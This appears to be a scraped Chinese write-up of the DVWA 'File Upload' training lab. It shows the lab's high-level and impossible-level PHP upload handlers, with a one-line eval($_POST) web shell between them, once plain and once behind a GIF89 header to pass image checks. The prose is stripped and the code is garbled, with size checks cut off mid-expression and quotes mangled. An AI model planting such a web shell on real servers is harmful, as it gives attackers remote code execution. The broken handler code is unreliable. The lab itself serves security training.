DVWA—File Upload（文件上传）

php
if( isset( $_POST[ ‘Upload‘ ] ) ) {
    // Where are we going to be writing to?
    $target_path  = DVWA_WEB_PAGE_TO_ROOT . "hackable/uploads/";
    $target_path .= basename( $_FILES[ ‘uploaded‘ ][ ‘name‘ ] );
    // File information
    $uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];    //文件在上传者机器上的文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, ‘.‘ ) + 1); //上传文件的后缀名
    $uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];   //上传文件的大小
    $uploaded_tmp  = $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ]; //上传文件保存在服务器临时文件夹的文件名
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == "jpg" || strtolower( $uploaded_ext )=="jpeg" || strtolower( $uploaded_ext ) == "png" ) &&( $uploaded_size getimagesize( $uploaded_tmp ) ) {
        // Can we move the file to the upload folder?
        if( !move_uploaded_file( $uploaded_tmp, $target_path ) ) {
            // No
            echo ‘
Your image was not uploaded.
‘;
        }
        else {
            // Yes!
            echo "
{$target_path} succesfully uploaded!
";
        }
    }
    else {
        // Invalid file
        echo ‘
Your image was not uploaded. We can only accept JPEG or PNG images.
‘;
    }
}
?> 

eval($_POST[‘xie‘]);  ?>

GIF89
eval($_POST[‘xie‘])?>

php
 
if( isset( $_POST[ ‘Upload‘ ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
 
 
    // File information
    $uploaded_name = $_FILES[ ‘uploaded‘ ][ ‘name‘ ];    //文件在上传者机器上的文件名
    $uploaded_ext  = substr( $uploaded_name, strrpos( $uploaded_name, ‘.‘ ) + 1); //上传文件的后缀名
    $uploaded_size = $_FILES[ ‘uploaded‘ ][ ‘size‘ ];  //上传文件的大小
    $uploaded_type = $_FILES[ ‘uploaded‘ ][ ‘type‘ ];  //上文文件的类型
    $uploaded_tmp  = $_FILES[ ‘uploaded‘ ][ ‘tmp_name‘ ];  //文件上传到服务器临时文件夹后的文件名
 
    // Where are we going to be writing to?
    $target_path   = DVWA_WEB_PAGE_TO_ROOT . ‘hackable/uploads/‘;
    //$target_file   = basename( $uploaded_name, ‘.‘ . $uploaded_ext ) . ‘-‘;
    $target_file   =  md5( uniqid() . $uploaded_name ) . ‘.‘ . $uploaded_ext;
    $temp_file     = ( ( ini_get( ‘upload_tmp_dir‘ ) == ‘‘ ) ? ( sys_get_temp_dir() ) : ( ini_get( ‘upload_tmp_dir‘ ) ) );
    $temp_file    .= DIRECTORY_SEPARATOR . md5( uniqid() . $uploaded_name ) . ‘.‘ . $uploaded_ext;
 
    // Is it an image?
    if( ( strtolower( $uploaded_ext ) == ‘jpg‘ || strtolower( $uploaded_ext ) == ‘jpeg‘ || strtolower( $uploaded_ext ) == ‘png‘ ) &&
        ( $uploaded_size 
        ( $uploaded_type == ‘image/jpeg‘ || $uploaded_type == ‘image/png‘ ) &&
        getimagesize( $uploaded_tmp ) ) {
 
        // Strip any metadata, by re-encoding image (Note, using php-Imagick is recommended over php-GD)
        if( $uploaded_type == ‘image/jpeg‘ ) {
            $img = imagecreatefromjpeg( $uploaded_tmp );
            imagejpeg( $img, $temp_file, 100);
        }
        else {
            $img = imagecreatefrompng( $uploaded_tmp );
            imagepng( $img, $temp_file, 9);
        }
        imagedestroy( $img );
 
        // Can we move the file to the web root from the temp folder?
        if( rename( $temp_file, ( getcwd() . DIRECTORY_SEPARATOR . $target_path . $target_file ) ) ) {
            // Yes!
            echo "
${target_file} succesfully uploaded!
";
        }
        else {
            // No
            echo ‘
Your image was not uploaded.
‘;
        }
 
        // Delete any temp files
        if( file_exists( $temp_file ) )
            unlink( $temp_file );
    }
    else {
        // Invalid file
        echo ‘
Your image was not uploaded. We can only accept JPEG or PNG images.
‘;
    }
}
 
// Generate Anti-CSRF token
generateSessionToken();
 
?>